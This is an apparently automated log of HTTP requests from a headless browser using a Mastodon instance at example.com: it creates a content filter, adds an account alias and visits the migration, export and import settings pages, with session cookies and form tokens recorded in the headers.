{"method": "POST", "target": "/filters", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 586", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/filters/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MDEuMzgxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3ef4e1eba59269a07dcb045c6e8b15ad45f1d01a; _mastodon_session=%2B9RgFTwPbZGW3O4wyerudZE3lQeFvkltxfc%2Bs1nVBtc41FJpyWfWCsP0ZbR4%2BtwOSk4%2BsYQKr69ex9wcbfuKOr9iEZdr7jXVH1gt6Kocc5jsBR3elyIy3kYY%2FEeccGypPkM%2FCX5tZ1TMZ496hnvWA%2BBmqXHFXigDSP9GeIMLDAIFOEpGhqFvqwtHb7eH2t7%2FZTDusiNAx0S1Vb6%2B73en5l88AMuUygZrtQcDt70p9bajUkkzYx8qaCAgR8Ory9UTuQGHdXQUdsp7D5P3Kg7znfuSjiZyhlD5zrEB65nFKC4bGHUhgDS3JkXyf6VCnD7Mdl32zcWwKEdwE9XMdTf2TLtMjxxfNuBb%2F6GpzZHJDVBwCGmGNoUTlkWS9Jss1uNBea6kEcK%2FZDtJ--4%2F9voX%2BPMZz4aFrc--aLd9K%2F0Ub4dLGCAlJ5jO2w%3D%3D"], "body": "authenticity_token=LCIEgZ6K9rFHJBmbiyRj7sTI_8bL-kYEWpQz-egbprRCcaVdeI9WtKHk-qQyHULW-raiPye2V3Hgz9YnyRtHZA&custom_filter%5Btitle%5D=python3+spam&custom_filter%5Bexpires_in%5D=&custom_filter%5Bcontext%5D%5B%5D=&custom_filter%5Bcontext%5D%5B%5D=home&custom_filter%5Bfilter_action%5D=&custom_filter%5Bfilter_action%5D=warn&custom_filter%5Bkeywords_attributes%5D%5B0%5D%5Bkeyword%5D=ls+-la&custom_filter%5Bkeywords_attributes%5D%5B0%5D%5Bwhole_word%5D=0&custom_filter%5Bkeywords_attributes%5D%5B0%5D%5Bwhole_word%5D=1&custom_filter%5Bkeywords_attributes%5D%5B0%5D%5B_destroy%5D=false&button="}
|
||||||
|
{"method": "GET", "target": "/filters", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/filters/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MDQuMzI0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--178fc96acb0068990cfc47d1551418883e144e0e; _mastodon_session=M8BBwxBD6z2zVijTYQmWtBt42qydXsvrjpU%2FMAplQl7qSFExeglqxNFkX2aPWd9cSLZYcxAeamBlQjaqLDmtmz%2FuWpUNgsEVm%2F8SHPR7GdTF1QQIocbAoKb4YGpOyiJ3YcJ5Iwty69rtVG9bcFzaSXZoMMVq25d8JzJOyEplsTady12gtd%2BbLR9w2hcyCkniy4986Hu%2B2jCHjPOlvmoQGlcSIIxvLsfUT6eTTQEqG8gcuoTzuhkatxHi5MZMyxAAmgMvRKDtJm1jQ9oJ3dBY%2FWblWoawPfQdXwrvV9lP5ZtMeaKS5tTAt3JuANfyQvW%2FHSAsmthyMHpac0DZVTJyzniJhuVpivDwaRgzfpUWCvy1JvYOOWG38Elrq1BiNa8JWxnX71wjsCSQ--RXbqThSrLHijr5GF--gmYkVzz5ddwHpcscdf1zaA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/sounds/boop.ogg", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Encoding: identity;q=1, *;q=0", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: audio", "Referer: https://example.com/filters", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MDQuMzQzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8649e46dce24eb0e5d4f443a95aa4414914784bb; _mastodon_session=Oyuv8BRIQKPMk32FAVpeii1WikN1AqaaKEo3ML99SUI58pQVZCzJWqIg7A81qujcg8GV3SV7o8ZZjPr6p8%2BpLajtfV3Aqf%2B%2BPt2iAxDw6L6zYCgZ1eygHWqk66jZxdOEGoPKwY8ftLD5h2HXA1kwStdbslwKVXI8gF%2F2GVDYb%2FRmN4En55jiLGlg%2FSjMjsmkj8RFcuVUq81jeXKcrgxQuLIkWeem39u6ddinhlwvERRyEnEQxYZDnegrbUUp8yiIFMo2KF8Bj8S31Jw8%2BUN05l0FOPqWQlSk6tuF22QFIQP93EE6VoODQZ5r8vbvQ%2BeCjjaIfJarY0rcK62eiD6fbauhqd1HKKjmpDTO%2BtGHAh%2FfObbcOWs81apyNuIgNP4st%2FGl6oAiJ150--4G5N1RKvjI0fnHcp--Jdxfrbxt4EFmb%2BO9KRi18g%3D%3D", "Range: bytes=0-"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/filters", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MDQuMzQzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8649e46dce24eb0e5d4f443a95aa4414914784bb; _mastodon_session=Oyuv8BRIQKPMk32FAVpeii1WikN1AqaaKEo3ML99SUI58pQVZCzJWqIg7A81qujcg8GV3SV7o8ZZjPr6p8%2BpLajtfV3Aqf%2B%2BPt2iAxDw6L6zYCgZ1eygHWqk66jZxdOEGoPKwY8ftLD5h2HXA1kwStdbslwKVXI8gF%2F2GVDYb%2FRmN4En55jiLGlg%2FSjMjsmkj8RFcuVUq81jeXKcrgxQuLIkWeem39u6ddinhlwvERRyEnEQxYZDnegrbUUp8yiIFMo2KF8Bj8S31Jw8%2BUN05l0FOPqWQlSk6tuF22QFIQP93EE6VoODQZ5r8vbvQ%2BeCjjaIfJarY0rcK62eiD6fbauhqd1HKKjmpDTO%2BtGHAh%2FfObbcOWs81apyNuIgNP4st%2FGl6oAiJ150--4G5N1RKvjI0fnHcp--Jdxfrbxt4EFmb%2BO9KRi18g%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/settings/aliases", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MDQuNjc5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--6a2a520b7bb8cd2a1e069c68a59f6aff417a3c58; _mastodon_session=JGc3Zy3GwJnO%2FnjN3s1MDvdTMThgp3mxaKnwcdjMf76Acsmgzopa6hB49OsB0DlCj9NaJTLy5z9yTAp6UXyWxHuJ3%2FAviboiVagtHcFT4MZjo2HiPkAc2kFAdEOvtz6s0HxCnWrXbSNObKf2%2FX%2FN1Tp33q4vAKi2Gcln7epjktt4XU7EBYMH585hLXlvyDWBuePpo08FUwKSlS6JjUMEAafep31NB0MKIScUUPRuEMaF8dVN%2BZoGKQcIbJnNJniGlx1Ab1UImi1%2B8rmEiZkRVtl2dhVx7dUp4oPNH%2Brweuieo5zu1ddHO1SKpUvvwVwjUPem1Ql2YA6nuHNYf6J4oMNMma7%2F2JBV7OXNambFVwv9u%2BBMQcbeWaAnXnddhl6%2FoY%2B0mdbTZa2T--g1Gw6aiczSsJ9UDJ--BAemydruKgwRPMZvem4Q%2BA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/admin-gQ_AIoJT.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/aliases", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MDcuMjg5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9716d2c4c827f94dab5f9de25903ab0eeb4c113e; _mastodon_session=Lgn%2B7FyEaGgWs7EjyyxtY1Q%2F4hhVvZ8BNWe7w0IMN7haJ%2B0rkJeXmSefMRTWLCpLKLYkKnbsdDvJhljvPpdcb4koVuKMt47792WCEElMpyS9mMq5qijzK9hGDgKDvqiRihE0VzsHLuqB5V6apIBgjaaiqlPNFnfxW7f6OropEqGr%2BC6vOOvjnjLJ8IXtcVUC5hGBo%2BkCnvPeGuOIWe%2BTJvlVCeliGwie1d0Ee9dDVcOtHb6iFvz2na850Vsmy24fMBbzLSmwrZfxQBVBvy9f2yKs2nH52c0lnxSEnexN3clsJ4RHUQlAKpA1ECT7M1CXik7h0yaYzgT16G9aDjXk6d1axsooeagwo2QuSS8SRV8J7EK4FZsWQfYEMb73aAervzVNQ51UPEn0--pgs80cepd48NGgMU--ketRNfEgJJC6t6r58m%2BMtQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/settings/aliases", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 160", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/aliases", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MDcuMjg5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9716d2c4c827f94dab5f9de25903ab0eeb4c113e; _mastodon_session=Lgn%2B7FyEaGgWs7EjyyxtY1Q%2F4hhVvZ8BNWe7w0IMN7haJ%2B0rkJeXmSefMRTWLCpLKLYkKnbsdDvJhljvPpdcb4koVuKMt47792WCEElMpyS9mMq5qijzK9hGDgKDvqiRihE0VzsHLuqB5V6apIBgjaaiqlPNFnfxW7f6OropEqGr%2BC6vOOvjnjLJ8IXtcVUC5hGBo%2BkCnvPeGuOIWe%2BTJvlVCeliGwie1d0Ee9dDVcOtHb6iFvz2na850Vsmy24fMBbzLSmwrZfxQBVBvy9f2yKs2nH52c0lnxSEnexN3clsJ4RHUQlAKpA1ECT7M1CXik7h0yaYzgT16G9aDjXk6d1axsooeagwo2QuSS8SRV8J7EK4FZsWQfYEMb73aAervzVNQ51UPEn0--pgs80cepd48NGgMU--ketRNfEgJJC6t6r58m%2BMtQ%3D%3D"], "body": "authenticity_token=rpk2nZjS_rJ6h0kZGCR_6GMegaA0nKTc4BiOUrEA1Qx-SGG5_1QK_NWKi2LzVFrn7HIIyQ4GfdE7CeIrYlhVEA&account_alias%5Bacct%5D=alice%40remote.example&button="}
|
||||||
|
{"method": "GET", "target": "/settings/aliases", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/aliases", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTAuMTcyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--6dd0e6137fbb0cb22b7d7ad5055bd2a325323755; _mastodon_session=orpoDp0vzOcOZpJ%2F3gSFEP8t4VRjgdf114XVhWVIpVBBQrlAsSzV9w1vZcgAhYfNfscF4gQUHMnk2nn%2BfR7wkeXvWMw%2FisV9cRhR%2BmuK%2BMrhysBgzfKUlHjuoa1SFwofWw9as5bDlO3%2Fde1ho3o7Lj1HmzjVQBhZGkK%2FdVZXnNczsG95kRaWkxcnTxT4DPg0Chj3KA9D2D1rRVkFtKlgjYg1JMDeZ2bqjACpHA1SyqinrZC%2Fm7aQLqatWzuyI2SuA9V%2B2Hhexqd7bu7lLBazYzlM2rrDBrKTnIwANx0zJvrieG0RSvUu3IVZqb0UuW7UKRBdg%2BvirMXvJ%2FArL5GA5IV5rywPIVqVPCaNBRv8K4NDzlco2p63lobkCu5ApaiVFjH03WBtA4u2GkpDwfKnhx%2FVTwO9D1Sf0HYmDXfXamD0zEj%2BDcxbVcvRiuNFRzDv2KOxXipY9cJ%2FXzrKNJmQDCAMUfikyupCFEHX3v%2FO3Qq6xqGmZBDZUqW4QxlkKrDK9YUm80%2FrG962MMhKgk0KRL6SvPE3uAlAiNtJrsCgqsH6CJoj5wFvEuEbXhRdBXox7fngEpgX9Cii%2BzJgZgSEfj4lTW6dB3Ps%2BjYVOOqmwRBc13RKxlOZ%2Fe0%3D--DWesOan0ml8KckSk--J4ROP2eU7rGOUzkIJ6n4Gw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/settings/migration", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTAuMTk1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--46e7201434ebe8a20ac4aa35444b87a0b3a9fcbd; _mastodon_session=4r2Y7fpl%2BrFPdjLC59fNkTTIvtf2ccVkX%2B9lYiwfrNZewpbiXjxlhD2PJ0SbwD6OeHRufF91YZls3CRLTAXblRlGAqIOPIQUYQbVnzwihu0aoDwmsWxCLTrmTbAtNmrGC8iOcOj%2FbPfVhuN31k3g0NrVbHKzvcwyvazGy6JmVBjBYYEOIMItxk6J74KR6Cs%2FxuiMQpvFEjOx%2FsL%2BlNfjX0BE3OXr4IJvXewUNOlcjDY5nCPn%2Bf%2FnkjOO1Axef4mMSR2LMdaIfACWBaz4KpSDroEQWtuWIJ4VLMjwiK5SU3PnZvQd2hZI0B6glmsJaxDrXMr2Dt2Vw%2BERR5XcUTHS1oGDWeFB%2BaC%2FXmq59CbGfbR86D4CusD12RLgsKF1s4JerFnPr3aWZyqD--t7ziTsV%2BrTdUgWry--vWUALKiy6eo4yh%2BjlmX%2BFA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/store-Dt6FPjVX.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/migration", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTAuMjg3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--cd5f0561a741951534c36b10e683b1a59aaa4d89; _mastodon_session=xuymMx%2Fzzq1GDge2Dybaq4wfCq8p0a1wClkb8dk5ZJWwUO%2Bwoc2VbstLDdQnw%2Fys2Xi9SgrDh4aqQ0z3Z1C1vS6klngzit44jvZRsanazAhRIQRa8STE9O3Io1YI46RfSr7gdzEbWECmp7PLmPivoO8gps%2BUltuXMrkI9IYwN7GnQZuhTIRvo2dVKkgewOt7xtF%2BMLVo3YPaEDBSucFxVcjTjSDLoco42tpbHgw4QSafygANH9Nf4EYyT%2BIKHBK2veZb%2FxZFOwlI45vGi46%2BpnV7hFvAwwb%2FQTwhLkyLRzsU5JMhWCxir20JhUEC6iThhuaD1DHxgdU2%2FuvrA3TdhNauKDskhIuAmaSQIhT%2Foo5sreI0ptJaOS3ylfaibfgixvsGxISQyBLq--s6o5NOH262Uk%2FlBz--Wtkcm0l8p8NmwWpkbUQyHQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/settings/export", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTAuMjg3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--cd5f0561a741951534c36b10e683b1a59aaa4d89; _mastodon_session=xuymMx%2Fzzq1GDge2Dybaq4wfCq8p0a1wClkb8dk5ZJWwUO%2Bwoc2VbstLDdQnw%2Fys2Xi9SgrDh4aqQ0z3Z1C1vS6klngzit44jvZRsanazAhRIQRa8STE9O3Io1YI46RfSr7gdzEbWECmp7PLmPivoO8gps%2BUltuXMrkI9IYwN7GnQZuhTIRvo2dVKkgewOt7xtF%2BMLVo3YPaEDBSucFxVcjTjSDLoco42tpbHgw4QSafygANH9Nf4EYyT%2BIKHBK2veZb%2FxZFOwlI45vGi46%2BpnV7hFvAwwb%2FQTwhLkyLRzsU5JMhWCxir20JhUEC6iThhuaD1DHxgdU2%2FuvrA3TdhNauKDskhIuAmaSQIhT%2Foo5sreI0ptJaOS3ylfaibfgixvsGxISQyBLq--s6o5NOH262Uk%2FlBz--Wtkcm0l8p8NmwWpkbUQyHQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/notification_policies-BXXafP0v.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/export", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTMuMTMyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--396f1f81d6729393cb05e6cce6dfec1c7185eb57; _mastodon_session=K7uewbPnm5gBLj2eztDNnkb7V3wD6AkcPAOLO6NoHHgS0Nwy1rPY2IwGEEv%2BV3sjwdtErXOpnVPaZJIwMKvZkBM5PV6xfzjFXmgEp6wRiFP17wkHc552A7cMVQoUU2FXfxAzsG0zMXN3Wil6gfl5W8tE1147pKHq8Qrmuf17naUPGaLCyhp4r0J1wW6pHHkgvIu3KX%2FW%2BheAJsizr3La8Q79N5hJ6yIr7dO3R9K4PRVuvij78lxiMAsPH69dB%2Fsu6sIrUDq3IOCzkNXVN7cArz6pa0l6lYXXwCHiZim7QUnqS6k3vZC%2BNaJzcqBRdlyTLQZE7tmJqnd3O4FVn40WLeXjpfUiQ49k6PnaX9XJKz5Yh4HwuE%2BtcWlGhvpmoD1Joa9fOMmr5n27--R9qLhfIvK6p6l%2B6u--8Ahqyw0%2FwvyfWM4DXZ1bpQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/settings/imports", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTMuMTMyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--396f1f81d6729393cb05e6cce6dfec1c7185eb57; _mastodon_session=K7uewbPnm5gBLj2eztDNnkb7V3wD6AkcPAOLO6NoHHgS0Nwy1rPY2IwGEEv%2BV3sjwdtErXOpnVPaZJIwMKvZkBM5PV6xfzjFXmgEp6wRiFP17wkHc552A7cMVQoUU2FXfxAzsG0zMXN3Wil6gfl5W8tE1147pKHq8Qrmuf17naUPGaLCyhp4r0J1wW6pHHkgvIu3KX%2FW%2BheAJsizr3La8Q79N5hJ6yIr7dO3R9K4PRVuvij78lxiMAsPH69dB%2Fsu6sIrUDq3IOCzkNXVN7cArz6pa0l6lYXXwCHiZim7QUnqS6k3vZC%2BNaJzcqBRdlyTLQZE7tmJqnd3O4FVn40WLeXjpfUiQ49k6PnaX9XJKz5Yh4HwuE%2BtcWlGhvpmoD1Joa9fOMmr5n27--R9qLhfIvK6p6l%2B6u--8Ahqyw0%2FwvyfWM4DXZ1bpQ%3D%3D"], "body": ""}
|
||||||
|
